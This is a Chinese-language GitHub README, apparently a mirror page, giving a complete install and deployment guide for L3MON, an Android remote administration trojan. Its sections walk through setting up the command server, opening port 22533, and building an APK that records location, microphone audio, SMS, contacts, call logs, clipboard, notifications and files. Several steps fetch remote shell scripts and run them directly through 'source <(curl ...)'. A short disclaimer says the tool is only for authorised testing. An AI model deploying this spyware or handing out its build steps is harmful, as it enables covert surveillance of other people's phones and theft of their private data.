efxtv/L3MON
GitHub: efxtv/L3MON
L3MON 是一款基于 Node.js 的 Android 远程管理工具,通过 Web 仪表盘实现对 Android 设备的远程监控、数据提取与控制,供安全研究与渗透测试使用。
Stars: 713 | Forks: 302
# L3MON — 完整安装指南
你必须拥有一个 Linux 实验室,以便在隔离环境中安全地测试此工具。[加入我们以了解更多](https://t.me/+egpQDeBtGk8wYWU1)
基于 NodeJS 的云端远程 Android 管理套件。
**功能:** GPS 记录 · 麦克风录音 · 通讯录 · 短信记录 / 发送短信 · 通话记录 · 已安装应用 · 存根权限 (Stub Permissions) · 实时剪贴板记录 · 实时通知记录 · WiFi 网络 · 文件浏览器与下载器 · 命令队列 · 内置 APK 构建器
## 0. 前置条件
你**必须**使用 **Java 1.8.0 / JRE 8**。任何其他版本都会导致 APK 构建失败。未使用 Java 8 的问题将被直接关闭且不予回复。
要求:
- Java Runtime Environment 8 (OpenJDK 1.8 / Oracle JRE 8)
- Node.js 14.x – 18.x LTS + npm
- Git, curl, wget, openssl
- PM2 进程管理器
- 一台开放了 **22533** 端口的服务器 / VPS / 本地机器
- Android SDK build-tools / apktool(通过下方脚本自动安装)
- 至少 2GB 内存,推荐使用 Ubuntu 20.04/22.04
## 1. 安装 Java 8 — 特定操作系统
### A. Debian / Ubuntu / Kali / Ubuntu chroot
```
sudo apt update && sudo apt upgrade -y
sudo apt install -y wget curl git nano openssl nodejs npm openjdk-8-jdk openjdk-8-jre
# 验证
java -version
# 必须显示:openjdk version "1.8.0_xxx"
# 为 L3MON 安装 apktool
source <(curl -fsSL https://raw.githubusercontent.com/efxtv/npm/main/apktool/apktool-kali-ubuntu.sh)
```
如果你安装了多个版本,请将 Java 8 设为默认版本:
```
sudo update-alternatives --config java
# 选择 java-8-openjdk
```
### B. Termux (Android)
```
pkg update && pkg upgrade -y
pkg install -y git curl wget nodejs-lts openssl-tool nano
# L3MON Termux Java 8 变通方案
source <(curl -fsSL https://raw.githubusercontent.com/efxtv/npm/main/apktool/apktool-termux.sh)
source <(curl -fsSL https://raw.githubusercontent.com/efxtv/npm/main/L3mon-no-java8.sh)
# 安装 EMSF 辅助工具
curl -L -o $PREFIX/bin/emsf https://github.com/efxtv/EMSF/blob/main/termux/emsf?raw=true
chmod +x $PREFIX/bin/emsf
```
### C. Fedora / Oracle Linux / Red Hat / CentOS
```
su -c "yum install -y java-1.8.0-openjdk java-1.8.0-openjdk-devel git curl wget nodejs npm openssl"
# 或者 dnf:
sudo dnf install -y java-1.8.0-openjdk-devel nodejs npm git
source <(curl -fsSL https://raw.githubusercontent.com/efxtv/npm/main/apktool/apktool-kali-ubuntu.sh)
java -version
```
### D. Windows 10/11
1. 下载 **Oracle JRE 8** / **JDK 8u361**:
https://www.oracle.com/technetwork/java/javase/downloads/jre8-downloads-2133155.html
2. 安装,然后添加到 PATH:
`C:\Program Files\Java\jre1.8.0_xxx\bin`
3. 在 CMD 中验证:
java -version
必须显示 1.8.0
4. 从以下链接安装 Node.js LTS:https://nodejs.org/en/download
5. 安装 Git for Windows:https://git-scm.com/download/win
## 2. 克隆 L3MON
```
git clone https://github.com/efxtv/L3MON.git
cd L3MON
```
## 3. 安装 Node 依赖 + PM2
```
# 全局安装 PM2
sudo npm install pm2 -g
# 安装项目依赖
npm install
# 审计 / 修复(按照上游 README)
npm audit fix
npm audit
npm audit fix --force
```
如果遇到 `node-gyp` / `sqlite` 错误:
```
sudo apt install -y build-essential python3
npm install --build-from-source
```
## 4. 首次运行与配置管理员登录
```
# 启动一次以生成 maindb.json
pm2 start index.js --name l3mon
pm2 stop l3mon
```
编辑凭据:
```
nano maindb.json
```
在 `admin` 下:
```
"admin": {
"username": "your_admin_username",
"password": "5d41402abc4b2a76b9719d911017c592"
}
```
生成 MD5 密码(小写):
```
# Linux / macOS / Termux
echo -n "YourPasswordHere" | openssl md5 | awk '{print $2}'
# 示例:efxtv
# echo -n efxtv | openssl md5
# -> 3c8e4f8e5c1c8f7e9b0a1d2c3e4f5a6b (使用您的实际输出,小写)
```
保存文件,然后:
```
pm2 restart all
# 或者
pm2 start index.js --name l3mon
pm2 save
pm2 startup
# 运行 PM2 打印的命令以启用自启动
```
访问控制面板:
```
http://127.0.0.1:22533
http://YOUR_SERVER_IP:22533
```
使用你生成哈希的用户名 + 明文密码进行登录。
## 5. 防火墙 / 端口
L3MON 默认端口:**TCP 22533**
Ubuntu / UFW:
```
sudo ufw allow 22533/tcp
sudo ufw reload
```
云 VPS:在你的安全组 / 防火墙面板中开放 22533 端口。
反向代理(可选 nginx):
```
server {
listen 80;
server_name yourdomain.com;
location / {
proxy_pass http://127.0.0.1:22533;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection "upgrade";
}
}
```
## 6. 构建你的第一个 APK 客户端
1. 登录控制面板 → **Build**
2. 设置:
- **LHOST:** 你的公共服务器 IP / 域名
- **LPORT:** 22533
- 根据需要设置应用名称 / 图标
3. 点击 **Build**
4. 从 `clientData/` 或控制面板下载 APK
5. 安装到你**自己的测试设备**上 → 允许所有权限:
- 位置、麦克风、短信、电话、通讯录、存储、通知、无障碍
6. 客户端将出现在控制面板中 → 实时状态
构建故障排除:
- `Java 版本错误` → `java -version` 必须为 1.8.0
- `未找到 apktool` → 重新运行步骤 1 中的 apktool 安装脚本
- `缺少 maindb.json` → 运行一次 `pm2 start index.js`,停止后再进行配置
- `客户端离线` → 检查 22533 端口是否可访问:`curl http://YOUR_IP:22533`
## 7. PM2 实用命令
```
pm2 logs l3mon # live logs
pm2 monit # monitor
pm2 stop l3mon
pm2 restart l3mon
pm2 delete l3mon
pm2 list
pm2 save
```
更新 / 重新安装:
```
pm2 stop all
git pull
npm install
pm2 restart all
```
## 8. 卸载 / 清理
```
pm2 stop l3mon
pm2 delete l3mon
pm2 save
cd ..
rm -rf L3MON
```
移除 Java 8 (Ubuntu):
```
sudo apt remove openjdk-8-*
```
## 9. 文件结构
```
L3MON/
├── index.js # Node server entry
├── maindb.json # users / clients DB – EDIT FOR LOGIN
├── maindb.json.back
├── package.json
├── app/factory/ # APK build templates
├── clientData/ # built APKs output
├── includes/
├── assets/
├── error-and-install/ # GIF help guides
└── L3mon_Dockerfile
```
## 10. 快速一键安装脚本 (Ubuntu 22.04)
```
sudo apt update && sudo apt install -y openjdk-8-jdk openjdk-8-jre nodejs npm git curl openssl && \
git clone https://github.com/efxtv/L3MON.git && cd L3MON && \
source <(curl -fsSL https://raw.githubusercontent.com/efxtv/npm/main/apktool/apktool-kali-ubuntu.sh) && \
sudo npm install pm2 -g && npm install && npm audit fix --force && \
pm2 start index.js --name l3mon && echo "Open http://localhost:22533"
# 然后停止并设置您的 maindb.json 管理员 MD5 密码
```
## 自助帮助
| [](https://static.pigsec.cn/wp-content/uploads/repos/cas/60/60e13530eb2317472b7458dbd6999f6050ff68b9edebf92f713d794e2a5b1eef.gif) | [](https://static.pigsec.cn/wp-content/uploads/repos/cas/4f/4fdf6b2487b7b55736f5f38e8e762f83be7ce53b089669f1d7545885cf0d0309.gif) | [](https://static.pigsec.cn/wp-content/uploads/repos/cas/a3/a37f50b83c0b665113d04225f53d5b6be85c6bda9f0eb1e8a7e7b97acf1a8a7a.gif) |
|---|---|---|
| [](https://static.pigsec.cn/wp-content/uploads/repos/cas/9d/9d1821b628551a802a41927513f563ac1d6cbe24f03fc2e176c2c4f45d1263bf.gif) | [](https://static.pigsec.cn/wp-content/uploads/repos/cas/59/59a21ebd2966612886b1c845b6243a01f583364c1191396363cb78bf6965bf7f.gif) | [](https://static.pigsec.cn/wp-content/uploads/repos/cas/8e/8ea645bf18a8e3ca813851a62a371e1b6f84930503a101773eea2021a5078828.gif) |
| [](https://static.pigsec.cn/wp-content/uploads/repos/cas/05/054ae45fd23688c1787426287f4512fb59353dda32ebd3e3b05a1569b9a01ce6.gif) | [](https://static.pigsec.cn/wp-content/uploads/repos/cas/de/dea5e7f75857c9aedf51f68daf7dd6eafff85e77df72100629368b723de0ba76.gif) | [](https://static.pigsec.cn/wp-content/uploads/repos/cas/8d/8d664ce7743e5a6e030df6b905255741d656b8ebf7adccffa1d9300be9b54992.gif) |
[](https://github.com/efxtv/L3MON/raw/main/error-and-install/8live-client.gif)
## 免责声明
L3MON 仅严格用于教育目的、授权的网络安全培训,以及对你拥有或获得明确、知情、书面同意进行测试的设备进行防御性安全研究。D3VL / efxtv 不提供任何担保,对因使用本工具而导致的任何直接或间接损害、数据丢失、隐私泄露或法律后果概不负责。未经法定所有者事先同意,对任何设备进行未经授权的访问、拦截、监视或部署,在美国《计算机欺诈和滥用法》、英国《1990 年计算机滥用法》、印度《2000 年信息技术法》、欧盟《通用数据保护条例》(GDPR) 以及全球同等法律下均属违法行为,并予以明确禁止 —— 你将对你的行为承担单独的刑事和民事责任;如果你不同意,或者此类工具在你所在的司法管辖区属于非法,请勿下载、安装或使用 L3MON。
*由 D3VL 用 ❤️ 制作 — L3MON — 归档于 2025 年 10 月 29 日 — MIT 许可证*
*致谢:AhMyth, express, node-geoip, lowdb, socket.io, OpenStreetMap, Leaflet*
*支持 / 发布版本(已归档): *
标签:Android, DSL, GNU通用公共许可证, MITM代理, Node.js, RAT, 数据提取, 远程管理工具